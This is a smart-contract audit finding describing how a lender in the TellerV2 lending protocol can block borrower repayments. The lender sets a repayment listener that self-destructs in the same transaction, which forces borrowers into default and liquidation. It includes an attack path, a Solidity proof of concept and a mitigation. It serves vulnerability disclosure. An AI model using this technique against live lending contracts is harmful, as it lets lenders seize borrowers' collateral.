023.md

Custom Pineapple Newt

High

Lenders can force borrowers into liquidation

Summary

Summary

Adversaries can still forcefully revert loan repayment attempts by reverting the try-catch in _sendOrEscrowFunds

Description

Last audit had a similar finding where loan lenders could set the repayLoanCallback address to an unimplemented contract which would cause the try-catch to revert in the try, not getting to the catch. The implemented fix was to modify setRepaymentListenerForBid to check whether the input _listener address has any code behind it.

    function setRepaymentListenerForBid(uint256 _bidId, address _listener) external {
        uint256 codeSize;
        assembly {
            codeSize := extcodesize(_listener) 
        }
        require(codeSize > 0, "Not a contract");
        address sender = _msgSenderForMarket(bids[_bidId].marketplaceId);


        require(
            sender == getLoanLender(_bidId),
            "Not lender"
        );


        repaymentListenerForBid[_bidId] = _listener;
     }

This fix seems reasonable at first glance and more can be read about it here. Reason why no code causes try to revert:

What's really happening is that you are expecting a return value, which is never returned because nothing ever gets executed since there is no code to execute.

However code size is checked only in the setter and not during _sendOrEscrowFunds execution. It is possible the _listener address to have code during the setter execution and no code during loan repayment via a selfdestruct inbetween. After EIP-6780, selfdestruct was designed to delete the code only if invoked within the same transaction as its' creation. The attack works the following way in 1 transaction:

1. Deploy decoy listener contract with selfdestruct in it
2. Invoke setRepaymentListenerForBid with deployed listener address
3. Invoke selfdestruct in the decoy

Adversary will be able to set a _listener address which has code during setter execution and have no code afterwards. Borrowers will be unable to pay their loans and be forced to default since try-catch will try to access unimplemented contract, causing the try to revert.

This attack's PoC can only be written in Remix due to a foundry limitation of performing all steps within 1 transaction, so if we check extcodesize(listener) right after the selfdestruct it will still report a non-0 value due to its' geth implementation. More on this topic can be found here. Once the state finalizes, extcodesize(listener) will return a null value.

Root Cause

In TellerV2._sendOrEscrowFunds, the loanRepaymentListener is not checked for having a non-0 code size before being called.

Internal pre-conditions

None

External pre-conditions

None

Attack Path

1. Malicious lender deploys decoy listener contract with selfdestruct in it
2. Malicious lender invokes setRepaymentListenerForBid with deployed listener address
3. Malicious lender invokes selfdestruct in the decoy
4. Later in time, victim borrower attempts to repay their loan - revert

Impact

• Borrowers are unable to repay their loans
• Borrowers are forced to get liquidated and have their collateral seized
• Lenders force defaults and seize collateral

PoC

Note that this PoC is written to test in Remix due to Foundry limitations described in the main body

The PoC can be ran 2 different ways:

1. Deploy MyTest -> invoke testAttack (pass) -> invoke attack (fail, attempt to access a method to unimplemented contract)
2. Deploy Attack -> invoke deployBomb (will return random address and size) -> can be double checked by calling the 2 public storage variables -> invoke checkSizeAfterExec -> will always return 0 (proof no code exists anymore)

// SPDX-License-Identifier: GPL-3.0

pragma solidity 0.8.26;

contract Bomb { 
    function destroy() public {
        address payable addr = payable(0);
        selfdestruct(addr);
    }
}

contract Attack { 
uint public storageSize;
Bomb public storageNb;
    function deployBomb() public returns (address, uint) { // deploys and destroys a bomb
        Bomb nb = new Bomb();                              // deploys a Bomb
        uint size;
        assembly {
        size := extcodesize(nb)                            // check nb (newbomb) size
        }   
 //       console.log(size);
        nb.destroy();                                      // invoke selfdestruct
        storageSize = size;
        storageNb = nb;
        return (address(nb), size);                        // return addr and size (will be positive)
    }
        function checkSizeAfterExec() public view returns (uint) {
        uint newSize;
        Bomb memoryNb = storageNb;
        assembly {
        newSize := extcodesize(memoryNb)                   // will always return 0 as it checks the code behind the destroyed bomb
        }
        return newSize;
    }
}

contract MyTest {
    address public nb;
    function testAttack() public { 
        Attack na = new Attack();                          // deploy new attack contract
        (nb,) = na.deployBomb();                           // deploy and destroy a bomb
        address nb1 = nb;
        uint size;
        assembly {
        size := extcodesize(nb1)                           // check the size of the just destroyed contract
        }  
        assert(size > 0);                                  // assert its non-0
//        console.log(size);

        Bomb n1 = Bomb(nb);                                // wrap the destroyed bomb
        try n1.destroy() {}                                // should always pass as there is still code behind it
        catch {}

    }

    function attack() public {                             // always reverts here
        Bomb n1 = Bomb(nb);                                
        try n1.destroy(){}                                 // attempts a try-catch on the contract deployed and destroyed above
        catch {}                                           // however it has no code anymore and reverts every time
    }
}

Mitigation

Check the code size of the listener address just before the callback in sendOrEscrowFunds and skip calling it if it's 0.